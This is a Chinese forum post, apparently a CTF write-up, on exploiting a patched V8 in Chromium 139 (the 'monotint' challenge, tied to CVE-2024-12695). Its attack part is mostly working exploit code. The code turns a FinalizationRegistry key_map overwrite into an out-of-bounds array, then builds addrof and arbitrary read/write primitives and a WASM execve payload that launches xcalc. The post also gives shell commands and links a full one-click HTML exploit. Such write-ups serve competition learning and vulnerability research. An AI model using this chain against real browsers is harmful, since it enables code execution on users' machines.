找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2837

积分

0

好友

370

主题
发表于 7 小时前 | 查看: 3| 回复: 0

本次强网杯线下赛中,我们与0x300R等师傅共同参赛。尽管其他队伍实力强劲,但受限于演示时间紧张,最终仅完成4题的Demo,其中就包括本篇详解的 monotint —— 一道基于 Chromium 139.0.7258.128 的浏览器 nday 利用题。

第一个坑:v8 沙箱误判

题目提供的 Chrome 版本为 139.0.7258.128,启动参数含 --no-sandbox,意味着一旦在 renderer 进程实现 RCE,即可直接执行任意代码。然而,该版本 V8 默认启用沙箱(v8_enable_sandbox=true),导致我误以为必须绕过 v8 sandbox 才能利用。

为此,我本地编译了一个开启 v8 沙箱的 Chromium,并基于此环境开发利用链。但赛后复盘发现:题目虚拟机实际并未编译 v8 沙箱(v8_enable_sandbox=false,整段沙箱逃逸逻辑完全未被触发,白白耗费大量调试时间。教训深刻:后续应优先在题目环境实测,而非依赖本地推测。

第二个坑:X11 权限与计算器弹出

公告与题目描述分离,导致我未及时注意到关键提示:为降低演示难度,允许“自选方式验证 RCE”。因此,我一度陷入复杂 shellcode 构造与 X11 认证绕过中。

最终,在队友 @leommxj 和 @m4x 协助下确认:只需正确设置 XAUTHORITYDISPLAY 环境变量,即可在目标机器上稳定弹出 xcalc。核心命令如下:

export XAUTHORITY=/run/user/1000/.mutter-Xwaylandauth.* 2>/dev/null | head -1
export DISPLAY=:0
/bin/xcalc

该方案规避了 pku 内存保护对传统 JIT spray 的干扰,也无需依赖特定 CPU 指令集。

第三个坑:Intel 14代 CPU 的 PKU 保护

公告明确指出现场演示机为 Intel 14代 CPU,其支持 Protection Keys for Userspace (PKU)。我初期未向该方向思考,导致部分利用路径失败。

绕过方式其实简洁有效:

  • 使用 WASM 函数封装 execve 调用(避免用户态内存被 PKU 标记为不可执行)
  • 或采用 JIT spray 技术,将 shellcode 注入 V8 JIT 缓存区(该区域默认不受 PKU 限制)

题目信息

题目下发一个虚拟机,内含启动脚本与一份 V8 源码 diff:

/opt/chromium.org/chromium/chromium-browser --no-sandbox

Chrome 版本为 139.0.7258.128,对应 V8 版本为 13.9.205.19

Chromium 139.0.7258.128 启动信息

该 V8 版本基于 2025 年 8 月 4 日的提交(commit 50sec917b67c535519bebec58c62a34f145dd49f),虽非最新,但已足够支撑公开漏洞利用。事实上,同期 P0 发现的 CVE-2025-9132(Big Sleep)可直接复现——可惜赛前未做储备。

由于未提前准备 1day,我转向分析题目提供的 diff,很快定位到两个关键补丁点:

V8 提交哈希与版本信息

Diff 分析

diff --git a/v8/src/builtins/builtins-object-gen.cc b/v8/src/builtins/builtins-object-gen.cc
index b0aeb178..161d9bdf 100644
--- a/v8/src/builtins/builtins-object-gen.cc
+++ b/v8/src/builtins/builtins-object-gen.cc
@@ -511,13 +511,6 @@
 TF_BUILTIN(ObjectAssign, ObjectBuiltinsAssembler) {
     GotoIfNot(TaggedEqual(LoadElements(CAST(to)), EmptyFixedArrayConstant()),
               &slow_path);

-    // Ensure the properties field is not used to store a hash.
-    TNode<Object> properties = LoadJSReceiverPropertiesOrHash(to);
-    GotoIf(TaggedIsSmi(properties), &slow_path);
-    CSA_DCHECK(this,
-               Word32Or(TaggedEqual(properties, EmptyFixedArrayConstant()),
-                        IsPropertyArray(CAST(properties))));
-
     Label continue_fast_path(this), runtime_map_lookup(this, Label::kDeferred);
diff --git a/v8/src/objects/js-weak-refs.cc b/v8/src/objects/js-weak-refs.cc
index f125cc63..d6d0e36b 100644
--- a/v8/src/objects/js-weak-refs.cc
+++ b/v8/src/objects/js-weak-refs.cc
@@ -103,7 +103,7 @@
 void JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap(
     Tagged<HeapObject> unregister_token = weak_cell->unregister_token();
     uint32_t key = Smi::ToInt(Object::GetHash(unregister_token));
     InternalIndex entry = key_map->FindEntry(isolate, key);
-    CHECK(entry.is_found());
+    DCHECK(entry.is_found());

通过关键词搜索,迅速定位至 Chromium Issue Tracker 公开报告,并关联到 CVE-2024-12695 的完整分析与 PoC。


环境搭建

Chromium 编译(带调试符号)

git checkout 139.0.7258.128
gclient sync -D
cd v8
patch -p1 < ./patch
cd ../
gn gen out/x64.release
ninja -C out/x64.release -j 22 chrome

关键 gn 参数:

is_component_build = false
is_debug = false
symbol_level = 2
blink_symbol_level = 2
v8_symbol_level = 2
dcheck_always_on = false
is_official_build = false
chrome_pgo_phase = 0
v8_enable_sandbox = false
v8_enable_pointer_compression = true

D8 调试环境(推荐用于逆向分析)

gn gen out/x64.release_v8
ninja -C out/x64.release_v8 -j 22 d8

关键 gn 参数:

is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2

调试时需添加标志以启用调试内置函数:

--js-flags="--allow-natives-syntax" --auto-open-devtools-for-tabs

漏洞分析

Object.assign 缺少类型检查(CVE-2024-12695 核心)

原始代码中,ObjectAssign builtin 对 to 对象的 properties 字段进行了严格校验:

  • properties 是 Smi,则跳转至 slow_path
  • 否则必须是 EmptyFixedArrayPropertyArray

补丁移除了该校验逻辑,使得 properties 字段可被设为任意类型(如 Smi 或 FixedArray),从而破坏对象内部结构一致性。

PoC 演示:

let target = {};
let unregister_token = {};

let registry = new FinalizationRegistry(() => {
  print("Callback called");
});
registry.register(target, undefined, unregister_token);
%DebugPrint(unregister_token);
%SystemBreak();

Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
%DebugPrint(unregister_token);
%SystemBreak();

注册后,unregister_token 会生成 hash 字段;连续两次 Object.assign 将其破坏为 FixedArray 类型,为后续利用铺路。

unregister_token hash 字段被破坏为 FixedArray

FinalizationRegistry 基础机制说明

  • target:被 GC 监控的对象
  • undefined:回调执行时传入的值
  • unregister_token:取消注册令牌;注册后为其生成唯一 hash,用于 key_map 索引

SimpleNumberDictionary 越界写(CVE-2024-12695 触发点)

第二个补丁将 CHECK(entry.is_found()) 替换为 DCHECK(entry.is_found()),使 JSFinalizationRegistry::RemoveCellFromUnregisterTokenMap 在未命中 key_map 时不再终止执行。

entry == -1(即未找到 hash),ClearEntry(-1) 被调用,进而触发 SetEntry

template <typename Derived, typename Shape>
void Dictionary<Derived, Shape>::SetEntry(InternalIndex entry,
                                          Tagged<Object> key,
                                          Tagged<Object> value,
                                          PropertyDetails details) {
  DCHECK(Dictionary::kEntrySize == 2 || Dictionary::kEntrySize == 3);
  DCHECK(!IsName(key) || details.dictionary_index() > 0 || !Shape::kHasDetails);
  int index = DerivedHashTable::EntryToIndex(entry); // (-1 * 2) + 3 = 1
  DisallowGarbageCollection no_gc;
  WriteBarrierMode mode = this->GetWriteBarrierMode(no_gc);
  this->set(index + Derived::kEntryKeyIndex, key, mode);   // index=1, kEntryKeyIndex=0 → offset=1
  this->set(index + Derived::kEntryValueIndex, value, mode); // index=1, kEntryValueIndex=1 → offset=2
  if (Shape::kHasDetails) DetailsAtPut(entry, details);
}

EntryToIndex(-1) 计算得 index = 1,结合 kEntryKeyIndex = 0kEntryValueIndex = 1,最终向 key_map 偏移 12 处写入 the_hole0x7d9)。

SimpleNumberDictionary 结构如下:

  • slot[0]: kNumberOfElementsIndex(map)
  • slot[1]: kNumberOfDeletedElementsIndex(length)
  • slot[2]: kCapacityIndex(capacity)
  • slot[3+]: Entry 数组(每 Entry 占 2 slot)

因此,ClearEntry(-1) 实际覆盖了 kNumberOfDeletedElementsIndexkCapacityIndex 字段,将 capacity 篡改为 0x7d9,造成越界读写能力。

key_map 内存布局与 ClearEntry 效果

SimpleNumberDictionary 结构示意图

验证结果:

0x3171003c002c: 0x00001c55  -> map
0x3171003c0030: 0x00000016  -> length
0x3171003c0034: 0x00000002  -> Elements
0x3171003c0038: 0x000007d9  -> DeletedElements ← 被篡改!
0x3171003c003c: 0x000007d9  -> Capacity      ← 被篡改!

越界后的 key_map 容量被篡改为 0x7d9

不稳定的越界 → 固定偏移任意写

JSFinalizationRegistry::RegisterWeakCellWithUnregisterToken 是关键枢纽函数:

  • key_map 中存在匹配 keyentry,则获取旧 WeakCell,并执行:
    existing_weak_cell->set_key_list_prev(*weak_cell);
    weak_cell->set_key_list_next(existing_weak_cell);
  • 即向 existing_weak_cell + 0x1c 写入 weak_cell 地址,向 weak_cell + 0x20 写入 existing_weak_cell 地址

通过控制 unregister_token 的 hash 值,可精准预测 WeakCell 在堆上的位置,从而实现 *(addr + 0x1c) = weak_cell_ptr 的任意地址写。

第一次生成的 WeakCell

第二次生成的 WeakCell

内存验证:

  • 第一次 WeakCell(0x2a1f0005d965)偏移 0x1c 处写入第二次 WeakCell 地址(0x2a1f0005d989
  • 第二次 WeakCell(0x2a1f0005d989)偏移 0x20 处写入第一次 WeakCell 地址(0x2a1f0005d965

WeakCell prev/next 指针写入验证

WeakCell 内存布局细节

补充说明WeakCellactive_cells 中以 LIFO 方式组织,新节点头插,故 prev = undefinednext = old_cell;旧节点 prev = new_cellnext = undefined


漏洞利用

利用流程分为五步:

  1. 获取越界的 key_map
  2. 预测 key_map 中某 entry 的 hash 值
  3. 利用预测 hash 实现固定偏移任意写,破坏数组 length
  4. 构造稳定 OOB 读写原语(AAR/AAW)
  5. 弹出计算器(X11 权限适配)

Step 1:构造越界 key_map

let undefined_value = 0x11;
let target = {};
let unregister_token = {};

let registry = new FinalizationRegistry(() => {
  console.log("
  • Callback in");   console.log("
  • Callback out"); }); registry.register(target, undefined, unregister_token); major_gc(); let victim_arr = []; for (let i = 0; i < 0x1000; i++) {   victim_arr.push(build_kv(undefined_value, undefined_value)); } major_gc(); let arr_with_hash_object = construct_hash_object(); Object.assign(unregister_token, {}); Object.assign(unregister_token, {}); target = null; major_gc();
    • victim_arr 布置于 key_map 后方,作为越界写的目标缓冲区
    • arr_with_hash_object 用于后续 unregister 触发越界操作
    • 每次关键操作后执行 major_gc() 确保内存布局稳定

    Step 2:预测 hash 值

    function corrupt_obj_get_hash(){
      console.log("
  • Corrupt obj get in");   let corrupt_vic_idx = -1;   let corrupt_obj_idx = -1;   let corrupt_obj_hash = -1;   // HashField::kMax = 2^20 - 1 = 0xFFFFF   for (let current_hash = 1; current_hash < 0x100000; current_hash++) {     let fake_kv = build_kv(current_hash, undefined_value);     init_arr(victim_arr, fake_kv);     for (let i = 0; i < arr_with_hash_object.length; i++){       registry.unregister(arr_with_hash_object[i]);     }     corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv);     if (corrupt_vic_idx == -1) continue;     init_arr(victim_arr, fake_kv);     for (let i = 0; i < arr_with_hash_object.length; i++){       registry.unregister(arr_with_hash_object[i]);       for (let j = 0; j < victim_arr.length; j++){         if (victim_arr[j] != fake_kv){           corrupt_obj_idx = i;           corrupt_obj_hash = current_hash;           %DebugPrint(victim_arr);           logg("corrupt_obj_idx",corrupt_obj_idx);           logg("corrupt_obj_hash",corrupt_obj_hash);           %SystemBreak();           break;         }       }       if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){         break;       }     }     if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){       break;     }   }   console.log("[+] Corrupt vic idx: " + corrupt_vic_idx);   console.log("[+] Corrupt obj idx: " + corrupt_obj_idx);   console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16));   console.log("
  • Corrupt obj get out");   return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash]; }
    • 构造 0x100000 个候选 fake_kv
    • 通过 registry.unregister() 触发越界写,探测 victim_arr 中被修改的位置
    • 成功率约 10000 / 0x100000 ≈ 10%

    Step 3:构造 OOB Array

    console.log("
  • Construct oob arr in"); let hash_obj = arr_with_hash_object[corrupt_obj_idx]; let oob_arr_addr_start = 0x1a0000; let oob_arr_addr_end = 0x2000000; let oob_arr_step = 0x100; let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa); let oob_arr_idx = -1; let tmp_weak_cell_val = -1; let offset = 0x1c; let align_offset = 0; let oob_arr_element_addr = -1; let oob_addr_element_offset = 0x1020; let out_loop = false; let oob_arr = []; for (let i = 0; i < 0x100; i++){   oob_arr[i] = 1.1; } for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){   let fake_kv = build_kv(corrupt_obj_hash, i | 1);   victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;   init_arr(oob_arr, oob_arr_init_val);   registry.register(hash_obj, undefined, hash_obj);   for (let j = 0; j < oob_arr.length; j++){     if (oob_arr[j] != oob_arr_init_val){       oob_arr_idx = j;       logg("oob_arr_idx",oob_arr_idx);       logg("oob_arr_addr",i);       tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]);       if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){         tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]);         align_offset = 1;       }       oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ;       break;     }   }   if(oob_arr_element_addr > 0){     out_loop = true;     break;   } } let guess_obj_addr = -1; let target_addr = -1; let idx = 0; guess_obj_addr = oob_arr_element_addr; target_addr = guess_obj_addr+0x5+0x1; let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c))); victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv; logg("oob_arr_element_addr",oob_arr_element_addr); logg("target_addr",target_addr); console.log("
  • Construct oob arr out"); registry.register(hash_obj, undefined, hash_obj); oob_arr.length = 0x10000000;
    • 遍历地址空间 [0x1a0000, 0x2000000],步长 0x100
    • 每次构造 fake_kv,触发 registry.register,向 i + 0x1c 写入 WeakCell 指针
    • 若该指针落入 oob_arr 元素区,则通过遍历定位 oob_arr 元素基址
    • 最终通过错位字节 + resize,稳定控制 oob_arr.length

    Step 4:构造 AAR/AAW 原语

    let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
    let ref_arr = make_ref(target_arr);
    let ab = new ArrayBuffer(0x100);
    let ref_ab = make_ref(ab);
    let dv = new DataView(ab);
    let obj_arr = [{},{}];
    let target_idx = -1;
    
    for (let i = 0; i < 0x10000000; i++){
      if (((oob_arr[i]) == 1.1) &&
          ((oob_arr[i+1]) == 2.2) &&
          ((oob_arr[i+2]) == 3.3) &&
          ((oob_arr[i+3]) == 4.4) &&
          ((oob_arr[i+4]) == 5.5)){
        target_idx = i;
        logg("target_idx",target_idx);
        break;
      }
    }
    
    if(target_idx == -1){
      console.log("[x] Failed to find target_idx!");
      return;
    }
    
    let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8;
    let elements_confused_idx = target_idx + 0x50/8;
    
    let obj_arr_idx_offset = 0x21;
    let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8;
    logg("target_arr_element_addr",target_arr_element_addr);
    logg("obj_arr_element_addr",obj_arr_element_addr);
    
    function cage_read(addr){
      addr = Number(addr);
      if (addr & 1){
        addr -= 1;
      }
      addr -= 7;
      let org = f64_to_u64(oob_arr[elements_confused_idx]);
      oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
      let val = f64_to_u64(target_arr[0]);
      oob_arr[elements_confused_idx] = u64_to_f64(org);
      return val;
    }
    
    function cage_write(addr,val){
      addr = Number(addr);
      if (addr & 1){
        addr -= 1;
      }
      addr -= 7;
      logg("addr",addr);
      let org = f64_to_u64(oob_arr[elements_confused_idx]);
      oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
      let org_val = f64_to_u64(target_arr[0]);
      target_arr[0] = u64_to_f64(val);
      oob_arr[elements_confused_idx] = u64_to_f64(org);
    }
    
    function addrof(obj){
      obj_arr[0] = obj;
      let ret = cage_read(obj_arr_element_addr);
      return u64_to_u32_lo(ret);
    }
    
    function AAR(addr){
      cage_write(ab_addr+0x24n,addr);
      let ret = dv.getBigUint64(0,true);
      return ret;
    }
    • 扫描 oob_arr 匹配 target_arr 内容,精确定位其内存地址
    • 利用 oob_arr 修改 obj_arr[0]mapelements 字段,实现 addrofAAR
    • AAR 可读取任意地址,AAW 可写入任意地址,构成完整利用原语

    Step 5:弹出计算器(X11 适配)

    现场机器为 Intel 14代,启用 PKU 保护,直接执行 shellcode 会触发异常。解决方案是使用 WASM 封装 execve

    const wasm_bytes = new Uint8Array([
      0,97,115,109,1,0,0,0,1,6,1,96,2,126,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,59,1,57,0,
      66,200,146,158,134,137,146,228,245,2,66,200,146,218,142,163,154,228,245,2,66,234,246,
      192,132,137,146,228,245,2,66,216,160,194,132,137,146,228,245,2,66,143,138,192,132,137,
      146,228,245,2,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
    ]);
    const mod = new WebAssembly.Module(wasm_bytes);
    const instance = new WebAssembly.Instance(mod);
    const pwn = instance.exports.pwn;
    
    // ... 构造 argv、envp、字符串地址 ...
    
    pwn(sh_str_addr, argv_bc);

    关键环境变量设置:

    export XAUTHORITY=$(ls /run/user/1000/.mutter-Xwaylandauth.* 2>/dev/null | head -1)
    export DISPLAY=:0
    /bin/xcalc

    WASM execve 调用栈

    X11 认证与 DISPLAY 设置

    成功弹出 xcalc 科学计算器

    Chrome DevTools 中的错误提示(无沙箱警告)


    完整利用脚本

    全部 PoC 代码托管于 GitHub:
    https://github.com/f1lyyy/V8-Exploit-Collection/tree/main/qwb_s9_final_monotint

    该仓库包含完整 HTML exploit 页面,适配 Chrome 渲染器进程,可一键触发计算器弹窗。

    如需深入理解 V8 内存管理与对象布局,推荐阅读云栈社区的 安全/渗透/逆向专题,涵盖 Reverse Engineering, Penetration Testing, Cryptanalysis, Exploit Development, CTF 等核心内容。




    上一篇:数控加工中刀尖接触检测模块如何实现微电流与强抗干扰?
    下一篇:从西部数据分拆后,闪迪股价暴涨1780%,AI存储需求成关键驱动力
    您需要登录后才可以回帖 登录 | 立即注册

    手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

    GMT+8, 2026-2-3 19:30 , Processed in 0.339254 second(s), 38 queries , Gzip On.

    Powered by Discuz! X3.5

    © 2025-2026 云栈社区.

    快速回复 返回顶部 返回列表